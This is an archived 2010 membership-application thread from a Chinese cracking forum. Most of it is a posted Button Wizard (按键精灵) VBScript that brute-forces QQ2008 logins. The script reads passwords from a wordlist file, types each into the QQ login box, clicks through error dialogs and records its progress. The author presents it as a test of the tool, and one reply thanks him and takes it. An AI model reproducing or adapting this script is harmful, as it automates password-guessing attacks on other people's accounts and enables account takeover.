申请会员：xtdhwl[申请通过]

发表于 2010-12-15 12:16

ID:xtdhwl
邮箱:xtdhwl@163.com
特长：编程,破解分析

Dim path 'QQ密码字典.txt
Dim PathShu'QQ密码扫描.ini
Dim QQ
Dim MiMa 'QQ密码
Dim MMlen'QQ密码的长度
Dim mima1'单个密码输入
Dim MimaLine '一行QQ密码
Dim MimaZidian 'QQ密码字典
Dim MiMaShu '下次开始数
Dim quxiaodenglu '取消登陆
'rem b 为开始rem a 找错误框rem c 取消长期登陆失败
path="c:\qq密码字典.txt"
pathshu="c:\QQ密码扫描.ini"
'判断文件c:\QQ密码扫描.ini
IsFile = Plugin.File.IsFileExit("C:\qq密码扫描.ini")
If IsFile=true Then
mimashu = Plugin.File.ReadINI("QQ密码位置", "位置", "C:\qq密码扫描.ini")
Else
Call Plugin.File.WriteINI("QQ密码位置", "位置", 1, pathshu)
mimashu = Plugin.File.ReadINI("QQ密码位置", "位置", "C:\qq密码扫描.ini")
End If
'判断是否存在c:\QQ密码字典.txt
IsFile = Plugin.File.IsFileExit("C:\qq密码字典.txt")
If IsFile=true Then
mimazidian=plugin.file.openfile(path)
else
Msgbox "c:\QQ密码字典.txt目标文件不存在"
call OnScriptExit
End If

For i=1 to mimashu-1 '读取密码位置
mima=plugin.file.readline(mimazidian)
next

'开始B标记
rem b:
Delay 500
mima=plugin.file.readline(mimazidian)
FindPic 0,0,1024,768,"Attachment:\qq.bmp",0.9,intX,intY '查找QQTM位置
If intX > 0 And intY > 0 Then '得到QQTM位置
MoveTo intx+30,inty+10 '把光标移到密码位置
Delay 500 '演示
LeftClick 1 '左击一下光标选中QQ密码框
else
Goto b
End If
Delay 500
'判断密码是否为空
If mima<>"" then
For i=1 to len(mima)'输入密码
mima1=mid(mima,i,1)
KeyPress mima1,1
Next
Else
call OnScriptExit
End if

'Delay 500
’鼠标点击登陆
'FindPic 0,0,1024,768,"Attachment:\登录.bmp",0.8,dengX,dengY'找到登陆按键
If intX > 0 And intY > 0 Then
MoveTo intx+210,inty+80
Delay 500
LeftClick 1
Call Plugin.File.WriteINI("QQ密码位置", "位置", mimashu, pathshu)
'MsgBox dengx & dengy
End If

’对长时间登陆的判断标记C
quxiaodenglu=1
Rem c:
Delay 500
FindPic 0,0,1024,768,"Attachment:\取消登陆.bmp",0.8,quxiao1X,quxiao1Y'找到登陆按键
If quxiao1X > 0 And quxiao1Y > 0 Then
If quxiaodenglu>20 then
quxiaodenglu=1
MoveTo quxiao1X,quxiao1Y
Delay500
LeftClick 1
goto b
End if
quxiaodenglu=quxiaodenglu+1
Call c
End If

'找错误按钮标记A
rem a:
FindPic 0,0,1024,768,"Attachment:\错误.bmp",0.9,cuowuX,cuowuY
If cuowuX > 0 And cuowuY > 0 Then
MoveTo cuowuX+340,cuowuY+210
Delay 500
LeftClick 1
Delay 500
mimashu=mimashu+1
Else
FindPic 0,0,1024,768,"Attachment:\错误1.bmp",0.9,cuowu1X,cuowu1Y
if cuowu1X > 0 And cuowu1Y > 0 Then
MoveTo cuowuX+300,cuowuY+165
Delay 500
LeftClick 1
Delay 500
mimashu=mimashu+1
Goto b
End if
Delay 500
Goto a
End If

'FindPic 0,0,1024,768,"Attachment:\取消.bmp",0.9,quxiaoX,quxiaoY
'If quxiaoX > 0 And quxiaoY > 0 Then
'MoveTo quxiaox+340,quxiaoy+210
'Delay 500
'LeftClick 1
'Delay 500
'Else
'Delay 500
'Goto a
'End If

goto b

Sub OnScriptExit()
’Call Plugin.File.WriteINI("QQ密码位置", "位置", mimashu, pathshu)
Call Plugin.File.closefile(mimazidian)

MessageBox "脚本已经停止！"
RestoreMousePos
End Sub

上面是用按键精灵8.0写的一个QQ2008暴力破解刚写的知道没有多少用只是测试按键精灵的功能

喜欢编程VB 脚本破解
共享精神使网络更加强大

Hmily 发表于 2010-12-16 11:11

ID:xtdhwl
邮箱:xtdhwl@163.com

申请通过,欢迎光临吾爱破解论坛,期待吾爱破解有你更加精彩,ID和密码自己通过邮件密码找回功能修改,请即时登陆并修改密码!
登陆后请在一周内在此帖报道，否则将删除ID信息

发表于 2010-12-16 19:50

前来报到,进过几年的学习,虽然差距很大,但只要努力每天学习一点

xtdhwl 发表于 2010-12-16 19:51

前来报到,进过几年的学习,虽然差距很大,但只要努力每天学习一点

Skyfly 发表于 2011-1-25 08:14

谢谢了我拿走了

ksqb163 发表于 2011-1-25 08:51

恭喜恭喜你过了申请

页: [1]

吾爱破解 - 52pojie.cn's Archiver

申请会员：xtdhwl[申请通过]